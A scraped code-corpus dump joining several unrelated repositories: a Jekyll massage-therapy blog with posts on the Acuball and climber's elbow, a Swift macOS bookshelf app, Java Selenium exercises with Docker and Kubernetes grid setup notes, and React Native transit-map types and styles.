house for a few years. It's something that I lean on regularly for my own aches and pains. And I often find myself recommending my clients go buy one somewhere else or use a lacrosse ball to achieve a similar effect. I feel that it will be helpful to keep a few in the clinic so that clients can take home exactly what I’m showing them. </p> <p>I do find that the heat the Acuball provides creates a superior effect over an old lacrosse ball. The way heat relaxes your muscles combined with the effect of <a href="{{site.url}}/generalmassagetherapy/trigger-points-and-trigger-point-therapy/index.html" title="Trigger Point Release">Trigger Point Release</a> and facial release from the ball at the same time, work to create a very full release. </p> <img class="fleft rightmargin-sm leftmargin-sm" alt="vertabra" src="https://acuball.com/wp-content/uploads/2017/11/1-acuball.jpg"/> <p>Acuball has a great resource on their website call “Click Where You Hurt”. It's exactly what it sounds like, a side view of the body with many points and labels. If you click one, you will be shown a video on how to use the Acuball to relieve pain in that area. Awesome! They clearly have put a lot of work into this. They also have an app for Android and iPhone, it's basically a collection of links to this same function as well as the many other resources they have put out in different places on the web. It's simple but helpful when your learning how to best use your new Acuball. One function they provide in the app is a ‘Stretch Alarm’, exactly what it sounds like, again simple but useful.</p> <p>You can find the Acuball and its brother and sister products the <a href="https://acuball.com/product/acuball-mini/?affiliates=19" target="_blank" title="Acuball Mini">Acuball mini</a>, <a href="https://acuball.com/product/dr-cohen-heatable-acupad/?affiliates=19" target="_blank" title="Acupad">Acupad</a> and the <a href="https://acuball.com/product/dr-cohen-heatable-acupad/?affiliates=19" target="_blank" title="Acupad">Acupad</a> on their website or by coming into the Kitchener Massage Therapy clinic.</p><file_sep>/_posts/2015-08-14-video-reveiw-for-kitchener-massage-therapy.md --- layout: post title: "Video Review for Kitchener Massage Therapy " date: 2015-08-14 20:18:35 category: generalmassagetherapy slug: video-reveiw-for-kitchener-massage-therapy post_id: 275 meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy, testimonial, video review --- <p>A friend and client, Josh, was in the <a title="Clinic Information" href="{{site.url}}/clinic-information/index.html" >Kitchener Massage Therapy Clinic</a> and wanted to create a video review for me. Josh has been rock climbing for about 10 years. <a title="Rock Climbing and Massage Therapy" href="{{site.url}}/about/rock-climbing-as-a-lifestyle/index.html" >Rock climbing</a> is really hard on the body so Josh comes for massage therapy to stay healthy. <div class="entry-image"> <a href="https://www.youtube.com/watch?v=RC_Ao0gda3k" data-lightbox="iframe"> <img src="https://img.youtube.com/vi/RC_Ao0gda3k/0.jpg" frameborder="0"> </a> </div> <file_sep>/_posts/2015-10-16-climbers-elbow-2.md --- layout: post title: "Climber’s Elbow" date: 2015-10-16 15:53:26 category: rock_climbing slug: climbers-elbow-2 post_id: 330 excerpt_separator: Left untreated, climber’s elbow (tennis elbow) can worsen quickly and take you out of climbing for a long time. If you catch it quickly enough, you might be able to stop it from progressing by taking a few weeks off climbing while slowly improving the strength balance in your forearm. excerpt: "Left untreated, climber’s elbow (tennis elbow) can worsen quickly and take you out of climbing for a long time. If you catch it quickly enough, you might be able to stop it from progressing by taking a few weeks off climbing while slowly improving the strength balance in your forearm." meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy, climbing, climbing injury, elbow injury --- <p>I have seen a lot of my climbers come back into the <a title="Massage Therapy Clinic Contact Info" href="{{site.url}}/contact/index.html">clinic</a> recently. After a full summer of hard climbing, I guess the body needs a little help. I have also seen a few new climber clients come out of the <a title="kitchener Local Climbing gym" href="http://grandriverrocks.com/">climbing gym</a> in the past few months, all suffering from tendonitis at the outside of the elbow (known as lateral epicondylitis, tennis elbow, or climber’s elbow for rock climbers). </p> <p>I believe this is happening because the grip strength needed for climbing over-develops the muscles on the front side of the forearm while no extra strength is developed on the back side of the forearm. After a few months of regular climbing (once a week or more) a substantial imbalance can develop. With all this extra force pulling the wrist forward all the time the back side has that much more work to do to perform daily tasks such as using a mouse and keyboard, swinging a hammer, or pulling files out of a filing cabinet. If you do any task that uses the back side of the forearm repetitively in your work or studies, and have such a strength imbalance, you are increasing your chances of getting climber’s elbow.</p> <p>The best thing climbers can do is to proactively avoid the imbalance altogether before experiencing pain. It’s not necessary to stop climbing altogether, but to perform regular exercises to strengthen the back side of the forearm before or after every climbing session.</p> <p>Posterior wrist curls are a great option. My favorite option to strengthen and rebalance is to wrap a cord or rope around a piece of broom handle or something similar and tie the other end to a weight of some kind. You would then alternate rolling the wrists to rotate to broom handle to raise and lower the wrists.</p> <p>If you are already starting to experience pain at the outside of your elbow or in your forearm, it’s important to seek professional help. A <a title="Kitchener Waterloo Massage Therapist" href="{{site.url}}/about/index.html">massage therapist </a>or physical therapist is your best option. You need more specific guidance regarding exercises as well as some hands-on manual therapy.</p> <p>If you catch it quickly enough, you might be able to stop it from progressing by taking a few weeks off climbing while slowly improving the strength balance in your forearm. Left untreated, climber’s elbow (tennis elbow) can worsen quickly and take you out of climbing for much longer.</p> <file_sep>/_posts/2015-12-16-how-to-stretch-psoase-muscle.md --- layout: post title: "How to Stretch Psoas Muscle " date: 2015-12-16 16:10:11 category: stretching slug: how-to-stretch-psoase-muscle post_id: 338 meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy, stretch, stretching, how to stretch psoas, psoas muscle --- <p>The Psoas muscle is a strong muscle at the front of your hip. It often affects your <a href="{{site.url}}/generalmassagetherapy/back-pain-and-how-to-massage-at-home/index.html">low back</a> and an cause pain. If you sit for long periods of time, be sure to <a href="https://www.youtube.com/watch?v=JtnQHieEkqQ">stretch the Psoas muscle </a>often. </br></br>Be sure to review to my <a href="{{site.url}}/stretching/general-guidelines-for-stretching/index.html">General Guidelines for stretching </a>before doing any of the stretches I demonstrate or recommend. It’s always a good idea to see a <a href="{{site.url}}/generalmassagetherapy/governance-of-massage-therapy/index.html">health care professional</a> before starting a new exercise program. <div class="entry-image"> <a href="https://www.youtube.com/watch?v=JtnQHieEkqQ" data-lightbox="iframe"> <img src="https://img.youtube.com/vi/JtnQHieEkqQ/0.jpg" frameborder="0"> </a> </div> <file_sep>/gulpfile.js var gulp = require('gulp'), uglify = require('gulp-uglify'), minifyCSS = require('gulp-minify-css'), minifyHTML = require('gulp-minify-html'); const SITE = '_site_production' /* '../kwmassage-stage' /* Minify JS */ gulp.task('js', function() { gulp.src(SITE + '/js/*.js') .pipe(uglify()) .pipe(gulp.dest(SITE + '/js')) }); /* Minify CSS */ gulp.task('css', function() { gulp.src(SITE + '/**/*.css' ) .pipe(minifyCSS()) .pipe(gulp.dest(SITE)) }); /* Minify HTML */ gulp.task('min', ['css', 'js'], function() { gulp.src(SITE + '/**/**/*.html') .pipe(minifyHTML()) .pipe(gulp.dest(SITE)) });<file_sep>/_posts/2016-02-16-how-to-stretch-you-rhomboids.md --- layout: post title: "How to Stretch Your Rhomboids " date: 2016-02-16 15:24:08 category: stretching slug: how-to-stretch-you-rhomboids post_id: 322 meta_keywords: Kitchener massage therapy, Kitchener massage therapist, massage therapist Kitchener , massage therapy Kitchener, Kitchener registered massage therapy, Kitchener registered massage therapist, registered massage therapist Kitchener , registered massage therapy Kitchener, Deep tissue massage, massage, sports massage, Kitchener sports massage, massage therapy, massage therapist, registered massage therapist, registered massage therapy, stretching, stretching, stretch rhomboid, how to stretch rhomboid --- <p>Your Rhomboids are muscles in between your shoulder blades. They often get sore and stiff from working at a computer with poor posture. If you need to stretch your Rhomboids, be sure to stretch your pectoral muscles as well. </p> <p>If you are getting pain in your upper back, please see your <a href="{{site.url}}/about/index.html">local massage therapist</a> or other healthcare professional.</p> <p>Be sure to review to my <a href="{{site.url}}/stretching/general-guidelines-for-stretching/index.html">General Guidelines for stretching</a> before doing any of the stretches I demonstrate and recommend. It’s always a good idea to see a <a href="{{site.url}}/generalmassagetherapy/governance-of-massage-therapy/index.html">health care professional</a> before starting a new exercise program.</p> <div class="entry-image"> <a href="https://www.youtube.com/watch?v=W67Z13XT-50" data-lightbox="iframe"> <img src="https://img.youtube.com/vi/W67Z13XT-50/0.jpg" frameborder="0"> </a> </div> <file_sep>/_posts/2015-04-12-what-is-deep-tissue-massage.md --- layout: post title: "What is Deep Tissue Massage?" date: 2015-04-12 21:55:12 category: generalmassagetherapy slug: what-is-deep-tissue-massage post_id: 211 --- <p>Deep Tissue massage is similar to the most common type of massage, Swedish massage, in that your therapist uses long, smooth, and kneading strokes to achieve healing changes in the body. The two forms of massage differ in that <a title="Discomfort of deep tissue massage" href="{{site.url}}/generalmassagetherapy/does-deep-tissue-massage-heart/index.html">Deep Tissue massage aims to affect the deeper structures of the body </a>and have a deeper level of healing. Deep Tissue massage is very effective in treating chronic muscle and connective tissue injuries. </p> <p>In order to access deeper layers of muscle and connective tissue in the body, your massage therapist needs to use considerable pressure; to achieve that pressure, he or she needs skilled in using forearms, elbows, and knuckles to perform the massage techniques.</p> <p><a href="https://maps.google.ca/maps/place?rlz=1I7DDCA_en&amp;oe=UTF-8&amp;redir_esc=&amp;um=1&amp;ie=UTF-8&amp;q=massage+therapist+kitchener&amp;fb=1&amp;gl=ca&amp;hq=massage+therapist&amp;hnear=Kitchener,+ON&amp;cid=4280028541904649170&amp;ei=oGLATc6vDdOftwfb3ey8BQ&amp;sa=X&amp;oi=local_result&amp;ct=map-marker-link&amp;resnum=7&amp;ved=0CG4QrwswBg">Deep Tissue massage </a>provides a more therapeutic effect by working more than just superficial layers in the body. Deep Tissue massage gets right down to the core of your muscular system to remove chronic tension, scar tissue, and adhesions between muscles and connective tissue, helping you get the relief you need faster.</p>
f5f2cc3e9727c91bcd3058ed4b7fa5ab21688447
[ "Ruby", "HTML", "Markdown", "JavaScript", "Text" ]
40
Markdown
Jeremykw/kwmassage
ef96f554e530db06c01c198813a8a13bf42ab654
fdf3b0015ecc9809a13dd5b5b323a264e6c90c27
refs/heads/master
<repo_name>mathuraganesh/SelAdv_2019<file_sep>/src/main/java/day2week1/NewLocator.java package day2week1; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.InputStream; import java.util.Properties; import org.openqa.selenium.By; import org.openqa.selenium.chrome.ChromeDriver; import org.openqa.selenium.chrome.ChromeOptions; import org.openqa.selenium.support.locators.RelativeLocator; //Use selenium 4.0.0-alpha-3 //For Example //<artifactId>selenium-java</artifactId> //<version>4.0.0-alpha-3</version> public class NewLocator { public static void main(String[] args) throws IOException { // Write to a property file InputStream input = new FileInputStream("./config.properties"); Properties prop = new Properties(); prop.load(input); System.setProperty("webdriver.chrome.driver","./drivers/chromedriver.exe"); ChromeOptions options = new ChromeOptions(); options.setExperimentalOption("debuggerAddress", prop.getProperty("debugger")); ChromeDriver driver = new ChromeDriver(options); String title = driver.getTitle(); //System.out.println(title); String test=driver.findElement(RelativeLocator.withTagName("input").below(By.className("username"))).getText(); System.out.println(test); } } <file_sep>/src/main/java/day1week2/GetNodes.java package day1week2; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.time.Duration; import java.util.Arrays; import java.util.HashMap; import java.util.Map; import java.util.concurrent.TimeUnit; import org.apache.commons.codec.binary.Base64; import org.apache.commons.io.FileUtils; import org.openqa.selenium.OutputType; import org.openqa.selenium.WindowType; import org.openqa.selenium.chrome.ChromeDriver; import org.openqa.selenium.chrome.ChromeOptions; import org.openqa.selenium.devtools.Command; import org.openqa.selenium.devtools.Connection; import org.openqa.selenium.devtools.Console; import org.openqa.selenium.devtools.ConverterFunctions; import org.openqa.selenium.devtools.DevTools; import org.openqa.selenium.devtools.Event; import org.openqa.selenium.devtools.Log; //import org.openqa.selenium.devtools.Target; //import org.openqa.selenium.devtools.Target.SessionId; import org.testng.annotations.Test; //import com.github.testleaf.devtools.protocol.types.dom.RGBA; //import com.github.testleaf.devtools.protocol.types.overlay.HighlightConfig; import com.google.common.collect.ImmutableMap; public class GetNodes { @Test public void runTest() throws InterruptedException, IOException { System.setProperty("webdriver.chrome.driver", "./drivers/chromedriver.exe"); ChromeOptions options = new ChromeOptions(); ChromeDriver driver = new ChromeDriver(options); driver.manage().timeouts().implicitlyWait(30, TimeUnit.SECONDS); DevTools devTools = driver.getDevTools(); devTools.createSession(); driver.get("http://leafground.com/"); driver.manage().window().maximize(); devTools.send(new Command<>( "DOM.enable", ImmutableMap.of())); Object send = devTools.send(new Command<>( "DOM.getDocument", ImmutableMap.of("depth", -1), ConverterFunctions.map("root", Object.class))); System.out.println(send); Integer snap = devTools.send(new Command<>("DOM.querySelector", ImmutableMap.of("nodeId", 3, "selector", "h5[class='wp-categories-title']"), ConverterFunctions.map("nodeId", Integer.class))); System.out.println(snap); Integer newNode = devTools.send(new Command<>("DOM.pushNodeByPathToFrontend", ImmutableMap.of("path", "//h5[text()='Edit']"), ConverterFunctions.map("nodeId", Integer.class))); System.out.println(newNode); /*devTools.send(new Command<>( "Overlay.enable", ImmutableMap.of())); */ } /*private static RGBA rgba(int r, int g, int b, double a) { RGBA result = new RGBA(); result.setR(r); result.setG(g); result.setB(b); result.setA(a); return result; } private static RGBA rgb(int r, int g, int b) { RGBA result = new RGBA(); result.setR(r); result.setG(g); result.setB(b); return result; } */ } <file_sep>/src/main/java/day3week1/TestDocker.java package day3week1; //Install Docker exceute below cmd and then change hub port and exceute in testng.xml //In Power Shell cmd to create Hub: //docker pull selenium/hub //In Power Shell cmd to create node for Chrome: //docker pull selenium/node-chrome-debug //In Power Shell cmd to create node for firefox: //docker pull selenium/node-firefox-debug //In Power Shell cmd to run Hub: //docker run -d -p 3456:4444 --name selhub-hub selenium/hub //In Power Shell cmd to run chrome with instance and sessions: //docker run -d -p 5911:5901 --link selhub-hub:hub -e NODE_MAX_INSTANCES=5 -e NODE_MAX_SESSION=5 -v/dev/shm:/dev/shm/ selenium/node-chrome-debug //In Power Shell cmd to run chrome without instance and sessions: //docker run -d -p 5908:5901 --link selhub-hub:hub -v/dev/shm:/dev/shm/ selenium/node-chrome-debug //In Power Shell cmd to run firefox without instance and sessions: //docker run -d -p 5909:5901 --link selhub-hub:hub -v/dev/shm:/dev/shm/ selenium/node-firefox-debug //In Power Shell cmd to run chrome without instance and sessions: //docker run -d -p 5912:5901 --link selhub-hub:hub -e NODE_MAX_INSTANCES=5 -e NODE_MAX_SESSION=5 -v/dev/shm:/dev/shm/ selenium/node-firefox-debug import java.io.File; import java.io.IOException; import java.net.MalformedURLException; import java.net.URL; import org.apache.commons.io.FileUtils; import org.openqa.selenium.OutputType; import org.openqa.selenium.Platform; import org.openqa.selenium.remote.DesiredCapabilities; import org.openqa.selenium.remote.RemoteWebDriver; import org.testng.annotations.BeforeMethod; import org.testng.annotations.Parameters; import org.testng.annotations.Test; public class TestDocker { public String browser; @Parameters({"browser"}) @BeforeMethod public void setBrowser(String browsername) { browser=browsername; } @Test public void startApp()throws MalformedURLException { DesiredCapabilities dc=new DesiredCapabilities(); dc.setBrowserName(browser); dc.setPlatform(Platform.LINUX); RemoteWebDriver driver=new RemoteWebDriver(new URL("http://localhost:3456/wd/hub"),dc); driver.get("http://leaftaps.com/opentaps/control/main"); driver.manage().window().maximize(); File src = driver.getScreenshotAs(OutputType.FILE); File desc = new File("./snaps/"+browser+".png"); try { FileUtils.copyFile(src, desc); } catch (IOException e) { e.printStackTrace(); } } } <file_sep>/src/main/java/day4week2/Kubectl.java package day4week2; import java.io.File; import java.io.IOException; import java.net.MalformedURLException; import java.net.URL; import org.apache.commons.io.FileUtils; import org.openqa.selenium.OutputType; import org.openqa.selenium.Platform; import org.openqa.selenium.remote.DesiredCapabilities; import org.openqa.selenium.remote.RemoteWebDriver; import org.testng.annotations.BeforeMethod; import org.testng.annotations.Parameters; import org.testng.annotations.Test; //Download the minikube and kubectl and placed in C:\Windows\System32 //open the powershell in admin //run the minikube manually in Hyper-V Manager //To Run the minikube cmd- minikube start --vm-driver=hyperv //To create a pod for selenium hub cmd- kubectl run hub --image selenium/hub --image-pull-policy='Always' --port 4444 //To expose the pod as a service. cmd- kubectl expose deployment hub --type=NodePort //The exposed service url can be retrieved from cmd- minikube service hub --url //once exposed will generate url paste in the script For Ex:http://172.17.255.229:30292 //Launch the grid url-http://172.17.255.229:30292 and see the status //Create the pod for chrome node cmd- kubectl run chrome-node --image selenium/node-chrome-debug --env="HUB_PORT_4444_TCP_ADDR=hub" --env="HUB_PORT_4444_TCP_PORT=4444" //run the xml file i.e:kubectl.xml public class Kubectl { public String browser; @Parameters({"browser"}) @BeforeMethod public void setBrowser(String browsername) { browser=browsername; } @Test public void startApp()throws MalformedURLException { DesiredCapabilities dc=new DesiredCapabilities(); dc.setBrowserName(browser); dc.setPlatform(Platform.ANY); RemoteWebDriver driver=new RemoteWebDriver(new URL("http://172.17.255.229:30292/wd/hub"),dc); driver.get("http://leaftaps.com/opentaps/control/main"); driver.manage().window().maximize(); System.out.println(driver.getTitle()); System.out.println(driver.getCapabilities().getBrowserName()); System.out.println(driver.getCapabilities().getPlatform()); } } <file_sep>/src/main/java/day1week2/DomNodeID.java package day1week2; import org.openqa.selenium.chrome.ChromeDriver; import org.openqa.selenium.devtools.Command; import org.openqa.selenium.devtools.ConverterFunctions; import org.openqa.selenium.devtools.DevTools; import com.google.common.collect.ImmutableMap; public class DomNodeID { public static void main(String[] args) { System.setProperty("Webdriver.chrome.driver","./drivers/chromedriver.exe"); ChromeDriver driver=new ChromeDriver(); DevTools devTools=driver.getDevTools(); devTools.createSession(); driver.get("http://leaftaps.com/opentaps/control/main"); //send the request devTools.send(new Command<>("DOM.enable",ImmutableMap.of())); //Get the DOM document Object send=devTools.send(new Command<>("DOM.getDocument",ImmutableMap.of("depth",-1,"pierce",true),ConverterFunctions.map("root",Object.class))); System.out.println(send); int node=devTools.send(new Command<>("DOM.querySelector",ImmutableMap.of("nodeId",5,"selector","input[id='username']"),ConverterFunctions.map("nodeId",Integer.class))); System.out.println(node); } } <file_sep>/src/main/java/day1week2/WaitforText_click.java package day1week2; import java.time.Duration; import org.openqa.selenium.By; import org.openqa.selenium.WebDriver; import org.openqa.selenium.WebElement; import org.openqa.selenium.chrome.ChromeDriver; import org.openqa.selenium.support.ui.ExpectedConditions; import org.openqa.selenium.support.ui.WebDriverWait; public class WaitforText_click { public static void main(String[] args) { System.setProperty("Webdriver.chrome.driver","./drivers/chromedriver.exe"); ChromeDriver driver=new ChromeDriver(); driver.get("http:\\leafground.com"); driver.findElementByXPath("//*[@id=\"post-153\"]/div[2]/div/ul/li[23]/a/img").click(); //WebElement sButton= WebDriverWait wait= new WebDriverWait(driver, 30); wait.until(ExpectedConditions.textToBePresentInElement(driver.findElementByXPath("//*[@id=\"btn\"]"),"Click ME")); //visibilityOfElementLocated(By.xpath("//*[@id=\"btn\"]"))); driver.findElementByXPath("//*[@id=\"btn\"]").click(); } } <file_sep>/src/main/java/day3week2/DockerSwan.java package day3week2; //After Intall docker instead of excecute each command put all cmd in docker-compose.yml file in desktop //Open powershell in desktop and exceute below cmds and then change hub port and execute in testng.xml //cmd to exceute hub and all node : //Docker-compose up -d import java.io.File; import java.io.IOException; import java.net.MalformedURLException; import java.net.URL; import org.apache.commons.io.FileUtils; import org.openqa.selenium.OutputType; import org.openqa.selenium.Platform; import org.openqa.selenium.remote.DesiredCapabilities; import org.openqa.selenium.remote.RemoteWebDriver; import org.testng.annotations.BeforeMethod; import org.testng.annotations.Parameters; import org.testng.annotations.Test; public class DockerSwan { public String browser; @Parameters({"browser"}) @BeforeMethod public void setBrowser(String browsername) { browser=browsername; } @Test public void startApp()throws MalformedURLException { DesiredCapabilities dc=new DesiredCapabilities(); dc.setBrowserName(browser); dc.setPlatform(Platform.LINUX); RemoteWebDriver driver=new RemoteWebDriver(new URL("http://localhost:3456/wd/hub"),dc); driver.get("http://leaftaps.com/opentaps/control/main"); driver.manage().window().maximize(); File src = driver.getScreenshotAs(OutputType.FILE); File desc = new File("./snaps/"+browser+".png"); try { FileUtils.copyFile(src, desc); } catch (IOException e) { e.printStackTrace(); } } } <file_sep>/Dockerfile FROM maven:latest COPY . . CMD ["mvn","clean","test"]
3fdd578ade75b60d590fa0411feb9bff41c7f885
[ "Java", "Dockerfile" ]
8
Java
mathuraganesh/SelAdv_2019
18d848733a5de89a3499f81aab78689d2261aa4e
a93aeeec8beff0bee9fafc114dda6b74de5318c3
refs/heads/master
<file_sep>// // BookDescription.swift // Bookshelf // // Created by <NAME> on 4/10/16. // Copyright © 2016 amie-chen. All rights reserved. // import Cocoa import Foundation class BookDescription: NSObject { var data: BookData var thumbImage: NSImage? var fullImage: NSImage? override init() { self.data = BookData() } init(title: String, rating: Double, thumbImage: NSImage?, fullImage: NSImage? ) { self.data = BookData(title: title, rating: rating) self.thumbImage = thumbImage self.fullImage = fullImage } } <file_sep>// // MasterViewController.swift // Bookshelf // // Created by <NAME> on 4/10/16. // Copyright © 2016 amie-chen. All rights reserved. // import Cocoa class MasterViewController: NSViewController { var books = [BookDescription]() func setupBookData() { let book1 = BookDescription(title: "Type Matters", rating: 4.2, thumbImage: NSImage(named: "TypeMatters"), fullImage: NSImage(named: "TypeMatters")) let book2 = BookDescription(title: "Thinking With Type", rating: 4.8, thumbImage: NSImage(named: "ThinkingWithType"), fullImage: NSImage(named: "ThinkingWithType")) let book3 = BookDescription(title: "Just My Type", rating: 4.9, thumbImage: NSImage(named: "JustMyType"), fullImage: NSImage(named: "Elegantissima")) let book4 = BookDescription(title: "Type Matters", rating: 4.5, thumbImage: NSImage(named: "Elegantissima"), fullImage: NSImage(named: "Elegantissima")) books = [book1, book2, book3, book4] } override func viewDidLoad() { super.viewDidLoad() // Do view setup here. } } extension MasterViewController: NSTableViewDataSource { func numberOfRowsInTableView(tableView: NSTableView) -> Int { return self.books.count } func tableView(tableView: NSTableView, viewForTableColumn tableColumn: NSTableColumn?, row: Int) -> NSView? { let cellView: NSTableCellView = tableView.makeViewWithIdentifier(tableColumn!.identifier, owner: self) as! NSTableCellView if tableColumn!.identifier == "BookColumn" { let bookDescription = self.books[row] cellView.imageView!.image = bookDescription.thumbImage cellView.textField!.stringValue = bookDescription.data.title return cellView } return cellView } } extension MasterViewController: NSTableViewDelegate {} <file_sep>// // BookData.swift // Bookshelf // // Created by <NAME> on 4/10/16. // Copyright © 2016 amie-chen. All rights reserved. // import Cocoa import Foundation class BookData: NSObject { var title: String var rating: Double override init() { self.title = String() self.rating = 0.0 } init(title: String, rating: Double) { self.title = title self.rating = rating } }
5701bfc44568c215972a1928ef9c798126c9cd72
[ "Swift" ]
3
Swift
amiechen/Bookshelf
8e4cb0e923146cca6b37317c49b7779df7b34cb0
56453d105cfc0dc54f1dcaf12870a259116c7999
refs/heads/master
<file_sep>export const OpenSansExtraBold = 'OpenSans-EtraBold'; export const OpenSansBold = 'OpenSans-Bold'; export const OpenSansSemiBold = 'OpenSans-SemiBold'; export const OpenSansRegular = 'OpenSans-Regular'; export const OpenSansLight = 'OpenSans-Light'; export const Unicode = 'unicode.futurab'; export const AlexBrush = 'AlexBrush-Regular'; export const Futur = 'futur'; export const FuturaCondensedLight = 'Futura-CondensedLight'; export const FuturaBold = 'Futura-Bold-font'; export const AntDesign = 'AntDesign'; export const Entypo = 'Entypo'; export const Zocial = 'Zocial'; export const EvilIcons = 'EvilIcons'; export const Feather = 'Feather'; <file_sep>/* eslint-disable prettier/prettier */ // export interface IShape { // level_id: null; // location_type: 1; // parent_station: ''; // platform_code: null; // stop_code: ''; // stop_desc: 'BRT Terminal'; // stop_id: 'USALAMA0'; // stop_lat: -6.806086; // stop_lon: 39.254205; // stop_name: 'Usalama'; // stop_timezone: 'Africa/Dar_es_Salaam'; // stop_url: ''; // tts_stop_name: null; // wheelchair_boarding: null; // zone_id: ''; // } export interface IStopMini { stop_id: string; stop_lat: number; stop_lon: number; stop_name: string; stop_desc?: string; } export interface IStop extends IStopMini { parent_station?: string; stop_code?: string; stop_timezone?: string; stop_url?: string; zone_id?: string; agency_key?: string; loc?: number[]; } // export interface IShape { // shape_id: string; // shape_pt_sequence: number; // shape_pt_lon: number; // shape_pt_lat: number; // agency_key: 'Safiri'; // loc: [number, number]; // } export interface LatLon { latitude: number; longitude: number; } export interface IFormattedStop { tripId?: string; stopId: string; arrivalTime: string; stopSequence: number; stopName: string; latitude: number; longitude: number; stopDescription?: string; } export interface IShape { id: number; shape_id: string; shape_pt_sequence: number; shape_pt_lon: number; shape_pt_lat: number; shape_dist_traveled: string; } export interface IStops { type: 'Feature'; geometry: { type: 'Point' | 'Custom'; coordinates: [number, number]; }; properties: IStopsProperties; } export interface IStopsProperties { stop_id: string; stop_name: string; stop_lon?: number; stop_lat?: number; parent_station?: string; stop_code?: string; stop_desc?: string; stop_timezone?: string; stop_url?: string; zone_id?: string; agency_key?: string; agency_name?: string; } export interface IStopMini { stop_id: string; stop_lat: number; stop_lon: number; stop_name: string; stop_desc?: string; } export interface IStop extends IStopMini { parent_station?: string; stop_code?: string; stop_timezone?: string; stop_url?: string; zone_id?: string; agency_key?: string; loc?: number[]; } <file_sep>export const grey = 'rgb(204, 204, 204)'; // #CCC export const greyDarkish = 'rgb(170, 170, 170)'; // #AAA export const greyishBrown = 'rgb(68, 68, 68)'; export const greyishBrownTransparent = 'rgba(68, 68, 68, 0.5)'; export const greyishWhite = 'rgb(230, 230, 230)'; export const lighterGrey = 'rgb(240, 240, 240)'; export const lightGrey = 'rgb(246, 246, 246)'; export const darkGrey = 'rgb(110, 110, 110)'; export const red = 'rgb(204, 0, 0)'; export const redPrimary = 'rgb(236, 0, 0)'; export const shadow = 'rgba(0, 0, 0, 0.2)'; export const transparent = 'rgba(0, 0, 0, 0)'; export const warmGrey = 'rgb(118, 118, 118)'; export const white = 'rgb(256, 256, 256)'; // #FFF export const borderColor = 'rgb(155, 195, 211)'; export const black = 'rgb(0, 0, 0)'; // #000 export const blackTranslucent = 'rgba(0, 0, 0, 1)'; export const green = 'rgb(0, 132, 41)'; export const brown = 'rgb(68, 42, 29)'; export const brownLight = 'rgb(171, 137, 137)'; export const brownPrimary = 'rgb(195, 120, 82)'; export const darkBlue = 'rgb(26, 37, 77)'; export const dimmerBlue = 'rgb(46, 48, 92)'; export const lightBlue = 'rgb(59, 151, 211)'; export const lighterBlue = 'rgb(66, 136, 214)'; export const purple = 'rgb(68, 57, 176)'; export const yellow = 'rgb(255,255,0)'; <file_sep>/* eslint-disable prettier/prettier */ import {Platform, StyleSheet} from 'react-native'; import {PROVIDER_GOOGLE} from 'react-native-maps'; export const IMapsViewStyle = { ...StyleSheet.absoluteFillObject, zIndex: 1, }; export const customDarkModeMapStyle = [ { elementType: 'geometry', stylers: [ { color: '#242f3e', }, ], }, { elementType: 'labels.text.fill', stylers: [ { color: '#746855', }, ], }, { elementType: 'labels.text.stroke', stylers: [ { color: '#242f3e', }, ], }, { featureType: 'administrative.locality', elementType: 'labels.text.fill', stylers: [ { color: '#d59563', }, ], }, { featureType: 'poi', elementType: 'labels.text.fill', stylers: [ { color: '#d59563', }, ], }, { featureType: 'poi.park', elementType: 'geometry', stylers: [ { color: '#263c3f', }, ], }, { featureType: 'poi.park', elementType: 'labels.text.fill', stylers: [ { color: '#6b9a76', }, ], }, { featureType: 'road', elementType: 'geometry', stylers: [ { color: '#38414e', }, ], }, { featureType: 'road', elementType: 'geometry.stroke', stylers: [ { color: '#212a37', }, ], }, { featureType: 'road', elementType: 'labels.text.fill', stylers: [ { color: '#9ca5b3', }, ], }, { featureType: 'road.highway', elementType: 'geometry', stylers: [ { color: '#746855', }, ], }, { featureType: 'road.highway', elementType: 'geometry.stroke', stylers: [ { color: '#1f2835', }, ], }, { featureType: 'road.highway', elementType: 'labels.text.fill', stylers: [ { color: '#f3d19c', }, ], }, { featureType: 'transit', elementType: 'geometry', stylers: [ { color: '#2f3948', }, ], }, { featureType: 'transit', stylers: [ { visibility: 'off', }, ], }, { featureType: 'transit.station', elementType: 'labels.text.fill', stylers: [ { color: '#d59563', }, ], }, { featureType: 'water', elementType: 'geometry', stylers: [ { color: '#17263c', }, ], }, { featureType: 'water', elementType: 'labels.text.fill', stylers: [ { color: '#515c6d', }, ], }, { featureType: 'water', elementType: 'labels.text.stroke', stylers: [ { color: '#17263c', }, ], }, ]; export const customLightModeMapStyle = [ { featureType: 'transit', stylers: [ { visibility: 'off', }, ], }, ]; export const MapViewProps = { // The map framework to use. Either "google" for GoogleMaps, otherwise null or undefined to use the native map framework (MapKit in iOS and GoogleMaps in android). provider: Platform.select({ ios: null, android: PROVIDER_GOOGLE, }), // provider:{PROVIDER_GOOGLE} // The app will ask for the user's location. showsUserLocation: true, // If false hide the button to move map to the current user's location. showsMyLocationButton: true, // A Boolean indicating whether the map displays extruded building information. showsBuildings: true, // If false the user won't be able to pinch/zoom the map. zoomEnabled: true, // If false the user won't be able to change the map region being displayed. scrollEnabled: true, // mapType:"hybrid" // If false points of interest won't be displayed on the map. showsPointsOfInterest: true, // If false compass won't be displayed on the map. showsCompass: true, // A Boolean value indicating whether the map displays traffic information. // showsTraffic // A Boolean indicating whether the map shows scale information. Note: Apple Maps only. showsScale: true, // If true a loading indicator will show while the map is loading. loadingEnabled: true, // Customize GoogleMaps to hide "transit data" customMapStyle: customLightModeMapStyle, }; export const zoomLevelToShowStopsAt = 15; export default {};
